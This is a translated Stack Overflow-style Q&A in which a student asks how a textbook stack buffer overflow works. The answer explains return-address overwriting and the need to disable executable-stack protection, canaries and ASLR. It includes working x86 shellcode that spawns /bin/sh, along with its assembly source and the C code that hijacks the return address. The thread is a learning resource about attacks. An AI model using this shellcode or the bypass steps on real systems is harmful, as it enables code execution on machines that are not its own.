[英]what's happened when process is attacked by "stack buffer overflow"?
我是一名學習計算機安全的學生。 最近,我在 c 上了解到堆棧緩沖區溢出。
我理解了它的概念並運行了 c 編寫的示例代碼。
void main(){
char buf[] = "\xeb\x0b\x31\xc0\xb0\x0b\x31\xd2\x31\xc9\x5b\xcd\x80\xe8\xf0\xff\xff\xff/bin/sh\x0";
int* p;
p = (int*)&p + 2;
*p = (int)buf;
return;
}
運行環境
但是我混淆了保存了哪些堆棧以及重疊了哪些記憶。
以上二進制代碼"\xeb\x0b\x31\xc0\xb0\x0b\x31\xd2\x31\xc9\x5b\xcd\x80\xe8\xf0\xff\xff\xff/bin/sh\x0"
,相同的匯編代碼是
.global main
main:
jmp strings
start:
xor %eax, %eax
movb $0xb, %al
xor %edx, %edx
xor %ecx, %ecx
popl %ebx
int $0x80
strings:
call start
.string "/bin/sh"
表示execve("/bin/sh", NULL, NULL);
.
當發生緩沖區溢出時,二進制文件是堆棧上 main 的重疊返回地址。 但是,我理解為堆棧存儲數據 st 局部變量、前一幀指針和返回地址。
我認為上述二進制文件不是數據,實際上是指令。 如果是這樣,為什么這是有效的? 堆棧存儲指令並通過彈出它們一個接一個地執行? 還是我誤解了什么?
如果堆棧存儲指令,先前的堆棧幀指針( fp )和返回地址( ra )如何工作?
我了解到,前一個函數的堆棧幀地址存儲在fp中,下一條指令在代碼區域的地址存儲在ra中。 因此,當調用 function 被終止時, sp被彈出,然后ra恢復之前的 function state 並運行下一條指令。 這是對的嗎? 還是我誤解了什么?
我真的很想知道這個..
謝謝您的幫助。
數據就是指令,指令就是指令。 堆棧是 memory 是 memory 是 memory。
就是這樣。 由於堆棧是普通的 memory,就像你用malloc
得到的一樣,只是向下增長並被一些指令隱式使用,你可以將任何數據放在堆棧上。
由於指令是數據,因此您可以將指令放在堆棧上。
這種特殊的利用通過使用特定值覆蓋返回地址以及使用一系列指令覆蓋它上面的所有內容來工作。
這就是為什么你需要告訴 GCC 使堆棧可執行(代碼在堆棧上)而不是生成金絲雀(這兩種保護措施都足以防止攻擊),而且你需要告訴 Linux 不要隨機化進程地址空間布局(或用於覆蓋返回地址的特定固定值不起作用)。
fp
和ra
最有可能是 RISC 架構,x86 沒有這樣的寄存器。
當main
返回(使用ret
)時,執行流程被重定向,這就是ret
所做的。
在英特爾的手冊中查看call
/ ret
對是如何工作的,然后通過調試器進入一個調用來在實踐中查看它。
確保您了解調用約定並在每次執行時密切關注堆棧。
聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.